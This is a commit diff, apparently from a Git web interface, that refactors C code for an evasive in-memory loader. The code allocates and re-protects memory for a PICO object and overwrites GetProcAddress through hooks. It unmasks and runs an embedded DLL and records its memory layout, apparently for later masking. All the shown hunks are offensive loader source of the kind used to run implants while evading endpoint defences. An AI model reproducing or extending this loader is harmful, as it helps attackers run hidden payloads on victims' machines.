|
||||
char * pico_data = KERNEL32$VirtualAlloc ( NULL, PicoDataSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
char * pico_code = KERNEL32$VirtualAlloc ( NULL, PicoCodeSize ( pico_src ), MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN, PAGE_READWRITE );
|
||||
|
||||
/* load it into memory */
|
||||
PicoLoad ( &funcs, pico_src, pico_dst->code, pico_dst->data );
|
||||
PicoLoad ( &funcs, pico_src, pico_code, pico_data );
|
||||
|
||||
/* make code section RX */
|
||||
DWORD old_protect;
|
||||
KERNEL32$VirtualProtect ( pico_dst->code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
|
||||
KERNEL32$VirtualProtect ( pico_code, PicoCodeSize ( pico_src ), PAGE_EXECUTE_READ, &old_protect );
|
||||
|
||||
/* begin tracking memory allocations */
|
||||
MEMORY_LAYOUT memory = { 0 };
|
||||
|
||||
memory.Pico.BaseAddress = ( PVOID ) ( pico_dst );
|
||||
memory.Pico.Size = sizeof ( PICO );
|
||||
|
||||
memory.Pico.Sections[ 0 ].BaseAddress = ( PVOID ) ( pico_dst->data );
|
||||
memory.Pico.Sections[ 0 ].Size = PicoDataSize ( pico_src );
|
||||
memory.Pico.Sections[ 0 ].CurrentProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 0 ].PreviousProtect = PAGE_READWRITE;
|
||||
memory.Pico.Sections[ 1 ].BaseAddress = ( PVOID ) ( pico_dst->code );
|
||||
memory.Pico.Sections[ 1 ].Size = PicoCodeSize ( pico_src );
|
||||
memory.Pico.Sections[ 1 ].CurrentProtect = PAGE_EXECUTE_READ;
|
||||
memory.Pico.Sections[ 1 ].PreviousProtect = PAGE_EXECUTE_READ;
|
||||
memory.Pico.Data = pico_data;
|
||||
memory.Pico.Code = pico_code;
|
||||
|
||||
/* call setup_hooks to overwrite funcs.GetProcAddress */
|
||||
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_hooks ( ) ) ) ( &funcs );
|
||||
( ( SETUP_HOOKS ) PicoGetExport ( pico_src, pico_code, __tag_setup_hooks ( ) ) ) ( &funcs );
|
||||
|
||||
/* now load the dll (it's masked) */
|
||||
RESOURCE * masked_dll = ( RESOURCE * ) GETRESOURCE ( _DLL_ );
|
||||
@@ -133,7 +127,7 @@ void go ( void * loader_arguments )
|
||||
fix_section_permissions ( &dll_data, dll_src, dll_dst, &memory.Dll );
|
||||
|
||||
/* call setup_memory to give PICO the memory info */
|
||||
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_dst->code, __tag_setup_memory ( ) ) ) ( &memory );
|
||||
( ( SETUP_MEMORY ) PicoGetExport ( pico_src, pico_code, __tag_setup_memory ( ) ) ) ( &memory );
|
||||
|
||||
/* now run the DLL */
|
||||
DLLMAIN_FUNC entry_point = EntryPoint ( &dll_data, dll_dst );
|
||||
|
||||
@@ -1,10 +1,5 @@
|
||||
#define GETRESOURCE(x) ( char * ) &x
|
||||
|
||||
typedef struct {
|
||||
char data [ 4096 ];
|
||||
char code [ 16384 ];
|
||||
} PICO;
|
||||
|
||||
typedef struct {
|
||||
int len;
|
||||
char value [ ];
|
||||
|
||||
@@ -1,3 +1,21 @@
|
||||
#define MAX_HEAP_RECORDS 32
|
||||
#define MAX_SECTIONS 16
|
||||
|
||||
typedef struct {
|
||||
PVOID Data;
|
||||
PVOID Code;
|
||||
} PICO_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
PVOID Address;
|
||||
SIZE_T Size;
|
||||
} HEAP_RECORD;
|
||||
|
||||
typedef struct {
|
||||
HEAP_RECORD Records [ MAX_HEAP_RECORDS ];
|
||||
SIZE_T Count;
|
||||
} HEAP_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
@@ -8,10 +26,12 @@ typedef struct {
|
||||
typedef struct {
|
||||
PVOID BaseAddress;
|
||||
SIZE_T Size;
|
||||
MEMORY_SECTION Sections [ 20 ];
|
||||
} MEMORY_REGION;
|
||||
MEMORY_SECTION Sections [ MAX_SECTIONS ];
|
||||
SIZE_T Count;
|
||||
} DLL_MEMORY;
|
||||
|
||||
typedef struct {
|
||||
MEMORY_REGION Pico;
|
||||
MEMORY_REGION Dll;
|
||||
PICO_MEMORY Pico;
|
||||
DLL_MEMORY Dll;
|
||||
HEAP_MEMORY Heap;
|
||||
} MEMORY_LAYOUT;
|
||||
|
||||
@@ -8,7 +8,7 @@ __typeof__ ( GetProcAddress ) * get_proc_address __attribute__ ( ( section ( "
|
||||
* This function is used to locate functions in
|
||||
* modules that are loaded by default (K32 & NTDLL)
|
||||
*/
|
||||
FARPROC resolve ( char * mod_name, char * func_name )
|
||||
FARPROC patch_resolve ( char * mod_name, char * func_name )
|
||||
{
|
||||
HANDLE module = get_module_handle ( mod_name );
|
||||
return get_proc_address ( module, func_name );
|
||||
|
||||
Reference in New Issue
Block a user